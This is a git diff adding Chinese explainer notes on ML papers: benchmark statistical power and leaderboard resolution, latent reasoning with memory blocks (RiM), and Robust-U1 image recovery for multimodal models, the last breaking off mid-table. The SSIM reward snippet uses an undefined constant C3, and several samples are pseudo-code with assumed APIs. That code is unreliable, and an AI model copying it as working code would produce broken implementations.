+# 合成：10000 题，模型逐 rank 略强 0.3pp，ρ≈0.85（强配对）
+rng = np.random.default_rng(42)
+N = 10_000
+base = rng.random(N) < 0.75
+models = {}
+for k, name in enumerate(["M10", "M9", "M8", "M7"]):
+    flip = rng.random(N) < (0.003 * k)  # 逐 rank 多错一点点
+    models[name] = base ^ flip
+
+for row in scan_adjacent_pairs(models):
+    flag = "✓" if row["resolved"] else "✗ 未达标"
+    print(f"{row['pair']}: δ={row['delta_pp']:.2f}pp, q={row['q']:.2f} {flag}")
+```
+
+输出会显示：即使相邻模型 gap 只有零点几 pp，在 N=10k、高 ρ 下 **q 常 < 1**——这就是论文对 MMLU-Pro / OLL **相邻名次叙事**的定量警告。
+
+---
+
+## 代码示例 3（可选）：官方 llm-power 包
+
+论文作者发布 **llm-power**（GitHub: akotawala10/llm-power），一行调用对齐 Equation 6：
+
+```python
+# pip install llm-power  （以仓库 README 为准）
+from llm_power.parametric import parametric_required_n_paired_binary
+
+n_star = parametric_required_n_paired_binary(
+    p1=0.65, p2=0.60, rho=0.30, alpha=0.05, power=0.80
+)
+print(n_star)  # ≈ 1028
+```
+
+还提供 bootstrap 功效、McNemar discordance 形式、对 OLL 数据的 **reanalysis** 脚本，适合 benchmark 维护者直接接入 CI。
+
+---
+
+## 方法论要点（进阶）
+
+### 配对 vs 无配对：何时差 2 倍？
+
+当 ρ > 0（共享 prompt 上两模型表现相关）时，σ_D² < Var(X^A) + Var(X^B)，配对检验更高效。ρ → 1 时 discordant pairs 极少，McNemar 本身也会变难；论文要求 ρ 落在 Hoeffding 可容许区间 [ρ_min, ρ_max]。
+
+### 有限样本：该用哪种检验？
+
+论文 Table 2 比较五种配对二元检验；推荐：
+
+- **有二元 0/1 + 可估 ρ**：Equation 6 参数形式；
+- **分级分数或无闭式 σ_D**：Definition 2 的**配对 bootstrap**（百分位 CI）。
+
+渐近 McNemar χ²、mid-p、bootstrap 在调参到 80% 功效时经验功效中位 **0.79**；精确条件二项略保守（~0.76）。
+
+### 前瞻性 vs 诊断性用法
+
+- **前瞻性**：benchmark 设计前，指定目标 δ（如 1 pp），算 N* 决定题库规模。
+- **诊断性**：观测 δ̂ 后算 N*(δ̂) 与 q——**不是**「观测到的功效」，而是「要支撑这个 gap 叙事需要多大 N」。
+
+论文在 3 对 OLL 真实数据上 bootstrap  subsample 到 N*，经验 McNemar 功效 **0.796–0.827**，验证框架校准良好。
+
+---
+
+## 对实践者的建议
+
+1. **发 leaderboard / 写论文时**：对 headline 相邻对报告 **q 或 N***，而不只报 pp gap 和 p 值。
+2. **算样本量时**：勿对 G*Power / pwr 的 per-arm 输出简单 ×(1−ρ)；用 **Var(Δ)** 或 llm-power。
+3. **|δ| ≤ 5 pp 的相邻排名**：默认假设「未达标」，除非 q ≥ 1 且通过多重/聚类敏感性检查。
+4. **MMLU 类分科 benchmark**：做 subject-level 聚类校正；IID 假设会**乐观**。
+5. **持续更新的公开榜**：考虑 anytime-valid 边界，固定 n 结论可能过松。
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表 | 与本文关系 |
+|------|------|------------|
+| 配对二元检验 | McNemar (1947), Connor (1987) | 本文把 required-N **反演**为分辨率报告 |
+| NLP 功效倡导 | Card et al. (2020) | 指出 underpowered，未系统对比配对/无配对 required-N |
+| LLM 无配对样本量 | Miller (2024) | 独立样本 Gaussian；本文证配对 median **~2.15× 更省 N** |
+| Benchmark 方差 | Madaan et al. (2024) | 测跨任务方差；本文聚焦**假设检验分辨率** |
+| 构造效度批判 | Bean, Alaa 等 | 正交：高 construct validity 仍可能 **N 太小** 撑不起相邻 gap 声明 |
+
+---
+
+## 局限与未解问题
+
+- 论文**不**声称构造效度或题目质量，只问「给定设计，统计上能否分辨 gap」。
+- i.i.d. prompt 假设在真实 benchmark（模板题、泄漏、分布漂移）上可能偏乐观或偏悲观。
+- q 与 p 值对单对**信息等价**；价值在**聚合报告**与**设计对话**。
+- 闭源 frontier 面板仅 Appendix  illustrative replication（N 较小）。
+
+---
+
+## 学到什么（零基础版）
+
+- **排行榜上的小数点差距是统计主张**，需要配对样本量、相关结构和 α/功效共同决定能否「写进标题」。
+- **三个数记牢**：MDE（能看多远）、N*（要看清需要多大 magnifier）、**q = N/N***（当前视力表够不够）。
+- **(0.05, 0.8) 下 q ≥ 1** 是论文推荐的「可分辨」操作定义；q < 1 不是说两模型一样好，是说 **benchmark 分辨率不足**。
+- **Cohen-h × (1−ρ) 捷径在相邻小差距场景约少算一半 N***，G*Power 用户尤其容易踩坑。
+- **真实 public leaderboard 里，28%（OLL）到近半（MMLU-Pro 聚类后）的相邻对未达标**——「谁排第几」的精细叙事应带误差条思维。
+- 工具链：**llm-power** 把 Equation 6、bootstrap、reanalysis 封装成可复用 API，benchmark 维护者应比媒体更早看到 q。
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.30315](https://arxiv.org/html/2605.30315v1)
+- 代码与复现：[github.com/akotawala10/llm-power](https://github.com/akotawala10/llm-power)
+- 配对检验基础：McNemar 检验、Dror et al. (2018) NLP 显著性检验综述
+- 功效谬误：Hoenig & Heisey (2001) 「The Abuse of Power」——为何不能用观测效应做事后功效
+- 同仓库笔记：[[soundness-bench]]（提案阶段方法论健全性）、[[llm-serving-needs-math]]（LLM 系统侧数学）
+
+---
+
+## 自测题
+
+1. q = 0.5 表示什么？能否因为 p < 0.05 就认为「结论可靠」？
+2. 为什么共享 prompt 上 ρ 高反而让 **σ_D 变小**，但小 gap 仍难分辨？
+3. Cohen-h + (1−ρ) 与正确 N* 差约 2 倍的结构原因是什么？
+4. MMLU-Pro 从 IID 4/9 未达标变为聚类 6/9，物理直觉是什么？
+5. 若你只关心「跨档差距」（如 70% vs 55%），分辨率诊断还重要吗？
+
+<details>
+<summary>参考答案（点击展开）</summary>
+
+1. 当前 N 只有达标所需 N* 的一半；p < 0.05 只说明在**固定 α 下拒绝 H0**，不保证 **80% 功效意义下的分辨率**；论文 HellaSwag 例即 p≈0.049 但 q≈0.5。
+2. ρ 高 → 同对同错多 → 配对差 D 方差小（更高效）；但相邻 SOTA gap 本身常只有 0.x–2 pp，δ 在分母上，N* 仍可能 ≫ N。
+3. (1−ρ) 加在单臂方差上；配对差方差含 Var(A)+Var(B)−2Cov，相当于少算因子 2；Lemma 1 给出小 δ 时 n_h/N* → 1/2。
+4. 某些科目内模型差距极大（ICC(D) 高），有效独立样本数因 DE 暴跌；两对相邻 rank 从「看起来 resolved」翻转为 N* > 3N。
+5. 跨档大 gap 常 q ≫ 1，分辨率诊断较 benign；价值集中在 **adjacent-rank、小 gap headline** 与 **benchmark 设计**。
+
+</details>
diff --git a/src/content/docs/papers/reynolds-separation-logic.md b/src/content/docs/papers/reynolds-separation-logic.md
index a91694fc2..96d850682 100644
--- a/src/content/docs/papers/reynolds-separation-logic.md
+++ b/src/content/docs/papers/reynolds-separation-logic.md
@@ -160,6 +160,7 @@ let r2 = &mut v;    // ❌ 编译失败
 - [[linear-types]] —— 线性类型（Linear Types）
 - [[reynolds-definitional-interpreters]] —— Reynolds Definitional Interpreters — 用一种语言去定义另一种语言
 - [[sagiv-shape-analysis]] —— Sagiv 参数化形状分析 — 用三值逻辑证明链表树仍是链表树
+- [[spec-agent-separation-logic]] —— Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约
 - [[steensgaard-pointer]] —— Steensgaard 指针分析 — 用等价合并把指针分析压到几乎线性
 - [[system-f-reynolds-1974]] —— System F — 让类型也能像参数一样被传递
 - [[tofte-talpin-regions]] —— Tofte-Talpin Regions — 让类型系统替你管内存生命周期
diff --git a/src/content/docs/papers/rim-latent-reasoning.md b/src/content/docs/papers/rim-latent-reasoning.md
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index 000000000..6bce2ffa9
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+---
+title: Reasoning in Memory — 解锁 LLM 的工作记忆做隐式推理
+来源: https://arxiv.org/abs/2605.30343
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：心算 vs 边写边算
+
+你心算 `17 × 23` 时，脑子里会「过一遍」中间结果，但**不必把每一步都念出声**。小孩学算术时常常**出声思考**（Vygotsky 所说的 private speech），熟练后则把计算收进**工作记忆（working memory）**——内部暂存、改写、再读出答案。
+
+今天的大语言模型（LLM）更像「永远出声思考的学生」：
+
+- **Chain-of-Thought（CoT）**：模型必须**逐 token 生成**「先算 17×20=340…」这类中间文字，推理与**对外输出**绑在一起。
+- 语言是为**交流**优化的，不是为**计算**优化的——大量算力花在语法、衔接词上，而不是纯内部运算。
+- 即便 Coconut 等**隐式推理**方法用连续向量代替文字，仍要**自回归地**一步步「吐出来」，只是吐的是 hidden state 而非可读句子。
+
+**Reasoning in Memory（RiM）**（Aichberger & Hochreiter, arXiv:2605.30343）提出：给模型一串**固定的特殊 token 槽位**（memory blocks），当作内部草稿纸；训练后，真正的中间推理发生在这些槽位的**上下文表示**里，推理时**一次前向**即可，不必自回归生成思考链。
+
+类比总结：
+
+| 人类 | 传统 CoT LLM | RiM |
+|------|-------------|-----|
+| 工作记忆里改数字 | 把每一步写成句子 | 在固定 memory block 里改表示 |
+| 只说出最终答案 | 答案和思考混在同一 token 流 | 答案单独读出；思考留在 block 内 |
+| 心算快 | 生成长 CoT 慢 | 固定少量 block，TTFT 接近直接答题 |
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 推理与生成被错误地耦合
+
+测试时扩展算力（test-time compute）的主流做法是：**多生成中间 token**。这把两件事混为一谈：
+
+- **内部计算**：模型要在 hidden state 里做变换；
+- **外部通信**：要把思考翻译成自然语言给别人（或给下一 token）看。
+
+CoT 有效，但中间步骤必须**可读、符合语法**——这是额外约束，不是推理本身需要的。
+
+### 2. 现有隐式推理仍「一步步外化」
+
+Coconut 用 continuous thoughts（CT）替代离散推理 token，但 CT 仍要**自回归生成**，每步算完才能喂给下一步。瓶颈从「写字慢」变成「吐向量慢」，**并行性**没有根本改善。
+
+### 3. Filler token 难训
+
+早期工作发现：随便在输入里加 `<pause>`、`<filler>` 往往**不涨分甚至降分**（Lanham et al., 2023）。要让「无语义占位符」承担计算，需要**精心设计的监督信号**——RiM 的核心贡献之一。
+
+---
+
+## 核心概念
+
+### 1. Memory Block（记忆块）
+
+- 由 **M 个特殊 token** 组成的一个块，例如 `<mem_start> <mem_0> <mem_1> <mem_end>`（论文用 dedicated special tokens，默认 **M=2**）。
+- **位置与 token 身份固定**，在输入里**预置**在问题之后、答案之前；**不是**模型生成出来的。
+- 每个 block 经过 Transformer 后得到**上下文相关的表示**，可编码与该题相关的中间状态——类似工作记忆里的一个「演算步骤槽」。
+- 训练时**冻结原有词表 embedding**，只更新 special token 的 embedding，避免破坏预训练语义。
+
+序列结构示意：
+
+```
+[问题 x] [memory block 1] [memory block 2] ... [memory block K] → 读出答案
+```
+
+推理时整段 **(x, m₁…m_K)** 在**单次 forward** 里算完，TTFT 与「直接答题」几乎相同。
+
+### 2. 两阶段课程（Two-Stage Curriculum）
+
+Memory block 起初**没有预定功能**——模型可能完全忽略它们。RiM 用两阶段把「草稿纸」训成可用工作记忆：
+
+#### Stage 1：推理步骤监督（Reasoning Step Supervision）
+
+- 训练数据有完整 CoT：问题 **x**、推理链 **r**（分成 T 步）、最终答案 **y**。
+- 为每一步推理配 **1 个 memory block**（共 T 块）。
+- 在第 t 块之后，监督模型**预测下一步推理 r_{t+1}**（最后一块之后预测 **y**）。
+- **关键**：自定义 **attention mask**——读出头只能看 **问题 + 目前已出现的 memory blocks**，**不能**看之前的明文推理步骤。这样模型**无法抄捷径**，必须把信息写进 block 表示里。
+
+目标函数（概念上）：
+
+\[
+\mathcal{L}_{S1} = -\sum_{t=1}^{T} \lambda_t(s) \log p(r_{t+1} \mid x, m_{\leq t})
+\]
+
+\(\lambda_t(s)\) 随训练步数衰减，形成「软课程」：早期所有 readout 都强监督，后期逐步去掉早期块的步骤监督。
+
+#### Stage 2：最终答案精炼（Final Answer Refinement）
+
+- **去掉**中间推理步骤的监督；训练时不再输入明文 **r**。
+- 使用**固定数量 K** 个 memory block（与推理步数 T 解耦）。
+- 每经过一个 block，监督模型**直接预测最终答案 y**；后面的 block 权重更大（\(\alpha_k\) 线性递增），鼓励「越往后答案越好」。
+- 类比 **HRM/TRM** 的迭代精炼，但是沿**序列方向**水平展开，而非循环模块。
+
+Stage 2 目标：
+
+\[
+\mathcal{L}_{S2} = -\sum_{k=1}^{K} \alpha_k \log p(y \mid x, m_{\leq k})
+\]
+
+阶段切换时**重置优化器与学习率**，Stage 2 用更低 lr、更高 dropout，防止在密集答案监督下过拟合。
+
+### 3. 自定义 Attention Mask
+
+RiM 能在**一次 forward** 里训练所有 readout，靠的是结构化 mask（论文 Figure 2）：
+
+| 位置类型 | 能 attend 到 |
+|----------|-------------|
+| Memory block | 问题 + 之前的 memory blocks |
+| 推理步骤 target（Stage 1） | 问题（可选）+ memory blocks，**不能**看其他推理步骤 |
+| 答案 readout（Stage 2） | 问题 + 截至当前的 memory blocks |
+
+这防止 **信息泄漏（information leakage）**，强迫 latent workspace 承担中间计算。
+
+### 4. 与相关方法的对比
+
+| 方法 | 中间状态 | 生成方式 | 推理延迟 |
+|------|----------|----------|----------|
+| SFT w/ CoT | 明文 token | 自回归生成长链 | 高（~27× RiM on Llama-1B） |
+| Coconut | Continuous thoughts | 自回归生成 CT | 中（~7× RiM） |
+| RiM | Memory block 表示 | **固定输入，单次 forward** | 低（≈ 直接答题） |
+
+### 5. 实验要点（GSM8K 系列）
+
+- **训练**：GSM8K-Aug（386K 数学题，最多 13 步推理表达式）。
+- **评测**：GSM8K（ID）、GSM-Hard（OOD）。
+- **模型**：GPT-2、Llama-3.2-1B/3B。
+- **主要结果（Llama-3.2-1B, greedy）**：
+  - RiM final block：**42.1%** GSM8K vs Coconut **36.9%** vs SFT 无 CoT **23.9%**
+  - TTFT：**16.1 ms**（与 SFT 无 CoT 相同），Coconut **108.3 ms**
+- **表示分析**：memory block 的 penultimate-layer 表示随训练**按 block 分化、按样本变化**；线性 probe 可较高精度预测答案对错——说明 block 里确实编码了任务相关信息。
+- **推理时 memory 预算**：Stage 2 后在较宽的 K、M 范围内准确率**较稳定**，便于部署时 trade-off 算力与精度。
+
+---
+
+## 代码示例 1：构造 RiM 输入与 Attention Mask（PyTorch 伪代码）
+
+下面示例展示如何把「问题 + K 个 memory block + 多个 readout 头」拼成一条训练序列，并实现 Stage 1 的 mask 逻辑（简化版，便于理解论文 Figure 2）。
+
+```python
+import torch
+
+SPECIAL = {"MEM_START": 32000, "MEM_0": 32001, "MEM_1": 32002, "MEM_END": 32003}
+
+def build_memory_block(num_slots: int = 2) -> list[int]:
+    """一个 memory block = START + M 个 mem slot + END"""
+    return [SPECIAL["MEM_START"], *[SPECIAL["MEM_0"]] * num_slots, SPECIAL["MEM_END"]]
+
+def build_rim_stage1_sequence(question_ids, reasoning_steps, K_blocks=None):
+    """
+    question_ids: List[int]
+    reasoning_steps: List[List[int]]  # T 个推理步骤，每步是一段子 token 序列
+    """
+    T = len(reasoning_steps)
+    K = K_blocks or T  # Stage1: 一块对应一步推理
+    seq, seg_type = [], []  # seg_type: 'q' | 'mem' | 'target'
+
+    seq.extend(question_ids); seg_type.extend(["q"] * len(question_ids))
+    mem_positions = []
+    for k in range(K):
+        block = build_memory_block(num_slots=2)
+        mem_positions.append(len(seq) + 1)  # 记录 block 起始（示意）
+        seq.extend(block); seg_type.extend(["mem"] * len(block))
+        if k < T:
+            seq.extend(reasoning_steps[k]); seg_type.extend(["target"] * len(reasoning_steps[k]))
+
+    return seq, seg_type
+
+def rim_stage1_attention_mask(seg_type: list[str]) -> torch.Tensor:
+    """
+    返回 (L, L) bool mask: True = 允许 attend.
+    target 不能看其他 target；target 只能看 q + 已出现的 mem.
+    """
+    L = len(seg_type)
+    allow = torch.zeros(L, L, dtype=torch.bool)
+    mem_seen = []
+
+    for i in range(L):
+        # 因果：只能看当前及之前
+        for j in range(i + 1):
+            ti, tj = seg_type[i], seg_type[j]
+            if ti == "target" and tj == "target":
+                continue  # 推理步骤之间互相不可见
+            if ti == "target" and tj == "mem":
+                allow[i, j] = True
+            if ti == "target" and tj == "q":
+                allow[i, j] = True
+            if ti in ("q", "mem") and tj in ("q", "mem"):
+                allow[i, j] = True
+    return allow
+
+# 用法示意
+q = [101, 205, 302]
+steps = [[11, 12], [21, 22, 23], [31]]  # 3 步推理
+seq, tags = build_rim_stage1_sequence(q, steps)
+mask = rim_stage1_attention_mask(tags)
+assert mask.shape == (len(seq), len(seq))
+```
+
+这段代码对应论文的核心工程技巧：**用 mask 把监督压进 memory block**，而不是让模型从之前的 CoT 文本里「偷看答案」。
+
+---
+
+## 代码示例 2：Stage 1 / Stage 2 损失与推理（Hugging Face 风格伪代码）
+
+```python
+import torch
+import torch.nn.functional as F
+
+class RiMLoss:
+    def stage1(self, logits_list, targets_list, lambdas):
+        """
+        logits_list[t]: 第 t 个 readout 对 r_{t+1} 的 logits
+        targets_list[t]: r_{t+1} 的 token ids
+        lambdas[t]: 当前训练步的 λ_t(s)
+        """
+        loss = 0.0
+        for t, (logits, target, lam) in enumerate(zip(logits_list, targets_list, lambdas)):
+            if lam <= 0:
+                continue
+            # 标准 next-token CE，只在 target 区间算
+            ce = F.cross_entropy(logits.view(-1, logits.size(-1)), target.view(-1))
+            loss = loss + lam * ce
+        return loss
+
+    def stage2(self, answer_logits_list, answer_ids, alphas):
+        """
+        每个 memory block 后都有一个「猜最终答案」的 readout
+        alphas[k]: 后面 block 权重更大
+        """
+        loss = 0.0
+        for k, (logits, alpha) in enumerate(zip(answer_logits_list, alphas)):
+            ce = F.cross_entropy(logits.view(-1, logits.size(-1)), answer_ids.view(-1))
+            loss = loss + alpha * ce
+        return loss
+
+def rim_inference(model, tokenizer, question: str, num_blocks: int = 8, mem_slots: int = 2):
+    """推理：固定 block，单次 forward，取最后一个 block 后的答案 readout"""
+    q_ids = tokenizer.encode(question, add_special_tokens=False)
+    mem_ids = []
+    for _ in range(num_blocks):
+        mem_ids += [32000] + [32001] * mem_slots + [32003]  # START + slots + END
+
+    input_ids = torch.tensor([q_ids + mem_ids])
+    with torch.no_grad():
+        out = model(input_ids=input_ids, rim_readout="final")  # 假设模型支持 RiM 头
+
+    # 只需生成答案后缀，无需自回归 CoT
+    answer_prefix = "The final answer is \\boxed{"
+    gen = model.generate(
+        inputs=out.readout_hidden,
+        max_new_tokens=32,
+        prefix_text=answer_prefix,
+    )
+    return tokenizer.decode(gen)
+```
+
+Stage 2 训练完成后，部署时通常只启用 **final-block readout**（固定 K 块后的答案头），因此 **TTFT** 与「问题 + 少量 special token + 直接答」同量级——论文 Table 1 中 RiM 与 SFT w/o CoT 的 TTFT 相同（Llama-3.2-1B 约 16 ms），而 SFT w/ CoT 约 420 ms。
+
+---
+
+## 训练与实现细节（读论文时可对照）
+
+1. **Special token embedding**：仅新 token 可训练；其余词表 embedding 冻结。
+2. **Stage 1 块数**：与样本推理步数 T 一一对应（最多 13）；**Stage 2** 统一为 **K=8** 块（主实验）。
+3. **λ 调度**：相对样本步数 T 的线性衰减；绝对最大步数衰减对短样本去监督过早。
+4. **α 调度**：Stage 2 线性递增，强调后段 block 的最终答案质量。
+5. **与 Coconut staging 的区别**：Coconut 逐步用 CT **替换** CoT token，早期 target 仍能 attend 先前 CoT → 监督绕过 latent；RiM **一次性**用 block 替换整条推理链并 mask 掉明文 CoT。
+6. **Checkpoint 选择**：16-fold CV，在 264 条 GSM8K Held-out 上选 greedy 最高 checkpoint，减轻「在测试集上挑模型」的过拟合。
+
+---
+
+## 局限与开放问题
+
+- **任务域**：主实验是**小学数学**（GSM8K 系）；代码、多跳工具调用、开放域推理是否同样有效，论文留作 future work。
+- **Memory 预算**：K 与 M 在 Stage 2 后较鲁棒，但极端少 block 仍会掉点；复杂题可能需要更多 latent 步或 **RiM + 显式 CoT 混合**。
+- **Stage 2 仅用答案监督**：作者提到可用 **RL + 最终答案奖励** 进一步打磨 latent workspace。
+- **可解释性**：block 内部是黑盒；probe 能预测对错，但人类仍难以「读出」中间推导，与 CoT 的可审计性 trade-off。
+- **与 vertical latent（HRM/TRM）**：RiM 是**水平** block 序列；何种拓扑更适合哪类任务尚无统一答案。
+
+---
+
+## 谁应该读这篇论文
+
+| 读者 | 收获 |
+|------|------|
+| 做 **推理加速 / 测试时算力** 的工程师 | 固定 slot + 单次 forward，在精度接近 CoT/Coconut 时把 TTFT 压到 direct-answer 级别 |
+| 做 **latent reasoning / Coconut 系** 的研究者 | 新的监督范式：dense step grounding + answer refinement，避免 autoregressive CT |
+| 训练 **特殊 token / filler** 的人 | 证明「占位 token」能变成工作记忆，但**必须**配 attention mask + 两阶段课程 |
+| 零基础入门 LLM 推理 | 理解「出声思考 CoT」与「工作记忆 RiM」的认知类比，以及 mask 如何塑造 latent 空间 |
+
+---
+
+## 一句话总结
+
+**RiM 把 LLM 的推理从「自回归写出思考链」改成「在固定 memory block 槽位里做内部演算，再一次性读出答案」**；用 Stage 1 把 block  grounded 到推理步骤、Stage 2 精炼最终答案，配合 custom attention mask 在单次 forward 中完成 dense 监督，在 GSM8K 上**精度优于 Coconut、延迟接近直接答题**——为「测试时算力不必等于生成更多 token」提供了一条可训练、可部署的路径。
+
+---
+
+## 延伸阅读
+
+- **Chain-of-Thought**：Wei et al., 2022 — 外化推理的开山作。
+- **Coconut**：Hao et al., 2025 — 用 continuous thoughts 替代 CoT token，但仍自回归。
+- **DART / filler token 系**：Lanham, Pfau, Goyal, Deng et al. — RiM 在 related work 中对标的「占位 token 推理」脉络。
+- **HRM / TRM**：垂直迭代 latent refinement，与 RiM Stage 2 的「水平精炼」形成对照。
+- **Baddeley working memory / Vygotsky private speech** — 论文 Introduction 的 cognitive motivation 来源。
diff --git a/src/content/docs/papers/robust-u1.md b/src/content/docs/papers/robust-u1.md
new file mode 100644
index 000000000..926cc6803
--- /dev/null
+++ b/src/content/docs/papers/robust-u1.md
@@ -0,0 +1,245 @@
+---
+title: Robust-U1 — 让多模态模型自己修复损坏的图片
+来源: https://arxiv.org/abs/2606.08063
+日期: 2026-06-13
+分类: 机器学习
+子分类: 多模态
+provenance: pipeline-v3
+---
+
+# Robust-U1：让多模态模型自己修复损坏的图片
+
+## 一、从一个日常场景说起
+
+想象你在看一张照片：因为下雨，镜头上沾满了水珠，照片变得模糊不清。但即使画面模糊，你依然能看出照片里是一辆左转的汽车。这是怎么做到的？
+
+你的大脑其实在做一件了不起的事：**一边"脑补"出原本清晰的画面，一边基于这个脑补的结果来回答问题**。
+
+现有的多模态大模型（MLLM）就像是一个"近视眼"——一旦图片模糊、有噪点或被压缩，它就彻底看不清了。Robust-U1 这篇论文提出的核心想法很简单：**与其让模型在模糊图片上硬猜，不如让它学会自己把图片修复干净，再基于修复后的图片来理解内容。**
+
+> 核心问题：MLLM 能不能"自救"？—— 能不能自己修复受损的视觉内容？
+
+## 二、现有方法的问题
+
+在看 Robust-U1 之前，先了解两种主流做法：
+
+**做法一：黑盒特征对齐（Implicit Adaptation）**
+
+这种方法在模型的"视觉编码器"内部做修改，用对抗训练让模型对模糊图片不那么敏感。
+
+类比：就像给近视眼的人做激光手术——从内部改变眼睛结构，不告诉人到底哪里看不清。
+
+问题：缺乏可解释性，不知道模型到底在抵抗什么。
+
+**做法二：文本推理补偿（Text-based Reasoning）**
+
+最近的方法（如 Robust-R1）让模型用文字描述"这张图有模糊、有暗光问题，所以我要谨慎判断"。
+
+类比：近视眼的人虽然看不清，但他在心里写了一份"看不清分析报告"，尝试用文字推理来弥补视觉不足。
+
+问题：文字描述无法恢复丢失的像素级细节。就像你说"我觉得那辆车应该是左转的"，但你没有看到车，只是在猜。
+
+**Robust-U1 的做法：视觉自修复（Self-Recovering）**
+
+让模型自己输出一张修复后的干净图片，然后同时参考模糊原图和修复后的图来回答问题。
+
+类比：近视眼的人戴上眼镜后看清了，然后基于清晰画面做出判断。
+
+## 三、核心概念拆解
+
+### 3.1 统一多模态模型（Unified MLLM）
+
+传统的模型要么是"看图说话"（理解），要么是"看图画画"（生成）。Robust-U1 选了一个**既能理解又能生成**的模型作为底座（BAGEL），这样它才可能"把模糊图修好再画出来"。
+
+### 3.2 三阶段训练
+
+Robust-U1 的训练分为三个阶段，像递进的课程：
+
+```
+阶段一（SFT）：学会修复    →  supervised fine-tuning
+阶段二（RL）：修得更好    →  reinforcement learning with dual rewards
+阶段三（推理）：用好修复结果 →  multimodal reasoning
+```
+
+### 3.3 双重奖励机制
+
+这是论文最精巧的设计。RL 阶段用两个独立的"裁判"来评估修复质量：
+
+**裁判 A：像素级结构奖（SSIM Reward）**
+
+检查修复图和原图在**每个小方块**上的亮度、对比度、结构是否一致。
+
+**裁判 B：语义一致性奖（CLIP Reward）**
+
+用 CLIP 模型检查两张图的**整体意思**是否一样。
+
+## 四、代码示例
+
+### 示例 1：SSIM 像素级结构奖励
+
+SSIM 把图片切成一个个小方块（patch），每个方块上比较三个指标：
+
+```python
+import torch
+import torch.nn.functional as F
+
+
+def ssim_local(patch_r, patch_o, C1=1e-4, C2=4e-4):
+    """
+    计算单个 patch 的 SSIM 值。
+    patch_r: 修复图的小方块，形状 [B, C, H, W]
+    patch_o: 原图对应的小方块，形状 [B, C, H, W]
+    返回: SSIM 值，范围 [0, 1]，越高表示结构越接近
+
+    SSIM = l(x,y) * c(x,y) * s(x,y)
+    其中 l = 亮度比较, c = 对比度比较, s = 结构比较
+    """
+    # 1) 亮度比较：两个 patch 的平均亮度越接近，分数越高
+    mu_r = patch_r.mean(dim=[2, 3], keepdim=True)
+    mu_o = patch_o.mean(dim=[2, 3], keepdim=True)
+    luminance = (2 * mu_r * mu_o + C1) / (mu_r ** 2 + mu_o ** 2 + C1)
+
+    # 2) 对比度比较：两个 patch 的标准差越接近，分数越高
+    var_r = patch_r.var(dim=[2, 3], keepdim=True)
+    var_o = patch_o.var(dim=[2, 3], keepdim=True)
+    cov_ro = ((patch_r - mu_r) * (patch_o - mu_o)).mean(dim=[2, 3], keepdim=True)
+    contrast = (2 * torch.sqrt(var_r * var_o) + C2) / (var_r + var_o + C2)
+    structure = (cov_ro + C3) / (torch.sqrt(var_r * var_o) + C3)
+
+    return luminance * contrast * structure
+```
+
+这个公式看起来复杂，但本质上就是问三个问题：
+
+| 维度 | 问什么 | 类比 |
+|------|--------|------|
+| 亮度 l | 两个方块一样亮吗？ | 两张照片曝光差不多？ |
+| 对比度 c | 两个方块的明暗层次一样吗？ | 都是清晰的还是都糊了？ |
+| 结构 s | 两个方块的纹理方向一致吗？ | 线条朝同一个方向走吗？ |
+
+### 示例 2：语义一致性奖励
+
+SSIM 只看像素结构，但可能修出来的图"看起来很像"但"意思不对"。这时候 CLIP 奖励上场：
+
+```python
+import torch
+from tinyclip import TinyCLIP
+
+
+class SemanticReward:
+    """
+    语义一致性奖励：用 CLIP 模型检查修复图和原图的
+    语义 embedding 是否接近。
+
+    奖励公式：R_sem = exp(-alpha * (1 - cosine_sim))
+    - cosine_sim = 1 时，奖励 = 1（完美语义一致）
+    - cosine_sim = 0 时，奖励 = exp(-alpha)（语义完全不一致）
+    """
+
+    def __init__(self, alpha=10.0):
+        self.clip_model = TinyCLIP()  # 冻结的 CLIP
+        self.alpha = alpha
+
+    @torch.no_grad()
+    def compute(self, image_recovered, image_clean):
+        # 获取两张图的 CLIP embedding
+        embed_r = self.clip_model.encode_image(image_recovered)  # [B, D]
+        embed_o = self.clip_model.encode_image(image_clean)       # [B, D]
+
+        # 计算余弦相似度
+        similarity = F.cosine_similarity(embed_r, embed_o, dim=1)  # [B]
+
+        # 转换为奖励值 [0, 1]
+        reward = torch.exp(-self.alpha * (1 - similarity))
+        return reward.mean()
+
+    def __call__(self, recovered, clean):
+        return self.compute(recovered, clean)
+```
+
+两个奖励的组合方式：
+
+```
+总奖励 = R_pix + R_sem
+       = SSIM(修复图, 原图) + CLIP_cosine(修复图, 原图)
+```
+
+这样既保证了修出来的图"长得像"，也保证了"意思对"。
+
+## 五、三阶段训练详解
+
+### 阶段一：监督微调（SFT）— "先学会修图"
+
+用 ImageNet-C 数据集（天然带噪声、模糊、压缩的图）训练模型。
+
+输入：模糊图片 + 提示词 "Recover the clean version of this corrupted image."
+
+输出：修复后的清晰图片
+
+损失函数：Rectified Flow Loss
+
+```
+L_SFT = E[ ||噪声 - 模型预测的噪声||² ]
+```
+
+类比：给模型看大量"前后对照表"——左边是模糊图，右边是清晰图，让它学习从模糊到清晰的映射关系。
+
+### 阶段二：强化学习（RL）— "修得更好"
+
+在 SFT 的基础上，用双重奖励做 RL 训练（Flow-GRPO 算法）。
+
+关键技巧：把确定性的 ODE 采样转成随机性的 SDE，这样每次采样都会得到**不同的修复结果**，然后用 Group Relative Policy Optimization 来比较这些结果、选出更好的。
+
+```
+每次采样 G 条轨迹 → {I_r1, I_r2, ..., I_rG}
+对每条轨迹计算奖励 → {R1, R2, ..., RG}
+做组内归一化得到优势 → {A1, A2, ..., AG}
+更新策略让高优势轨迹概率更高
+```
+
+类比：给模型 10 次修图机会，让它自己比较哪次修得最好，然后向最好的那个学习。
+
+### 阶段三：多模态推理 — "用好修复结果"
+
+训练模型同时参考**两张图**来回答问题：
+
+```
+输入 = [模糊图片 Ic, 修复图片 Ir, 问题 Q]
+输出 = 答案 A（带推理链）
+```
+
+关键设计：模型不是只看修复后的图，而是**同时参考原图和修复图**。原图中可能保留了一些修复图丢失的微妙信息，两者互补。
+
+## 六、实验结果
+
+**R-Bench 基准测试**（真实世界退化场景）：
+
+| 方法 | MCQ | VQA | CAP | 总分 |
+|------|-----|-----|-----|------|
+| BAGEL（底座） | 0.718 | 0.650 | 0.469 | 0.577 |
